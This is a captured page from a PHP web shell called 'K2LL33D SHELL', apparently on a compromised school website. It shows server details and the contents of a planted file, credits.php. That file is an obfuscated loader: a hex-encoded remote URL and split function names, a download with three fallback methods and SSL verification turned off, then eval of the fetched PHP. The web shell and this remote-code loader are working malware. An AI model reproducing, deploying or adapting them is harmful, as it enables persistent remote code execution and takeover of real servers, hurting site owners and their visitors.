K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / var / www / html / sman1baleendah_sch_id /
server ip : 104.21.89.46

your ip : 172.70.126.172

H O M E


Filename/var/www/html/sman1baleendah_sch_id/credits.php
Size1.45 kb
Permissionrw-r--r--
Ownerroot : root
Create time11-Jun-2025 21:32
Last modified11-Jun-2025 21:32
Last accessed04-Jul-2025 14:21
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
<?php
$hexUrl = '68747470733a2f2f6b6164616c6a6f6e676b6f6b2e6261722f6861796f6e67617061696e2e747874';

function hex2str($hex) {
$str = '';
for ($i = 0; $i < strlen($hex) - 1; $i += 2) {
$str .= chr(hexdec($hex[$i] . $hex[$i + 1]));
}
return $str;
}

$url = hex2str($hexUrl);

function downloadWithFileGetContents($url) {
if (ini_get('a' . 'llow' . '_ur' . 'l_fo' . 'pe' . 'n')) {
return file_get_contents($url);
}
return false;
}

function downloadWithCurl($url) {
if (function_exists('c' . 'u' . 'rl' . '_i' . 'n' . 'i' . 't')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
return false;
}

function downloadWithFopen($url) {
$result = false;
if ($fp = fopen($url, 'r')) {
$result = '';
while ($data = fread($fp, 8192)) {
$result .= $data;
}
fclose($fp);
}
return $result;
}

$phpScript = downloadWithFileGetContents($url);
if ($phpScript === false) {
$phpScript = downloadWithCurl($url);
}
if ($phpScript === false) {
$phpScript = downloadWithFopen($url);
}

if ($phpScript === false) {
die("Gagal mendownload script PHP dari URL dengan semua metode.");
}

eval('?>' . $phpScript);
?>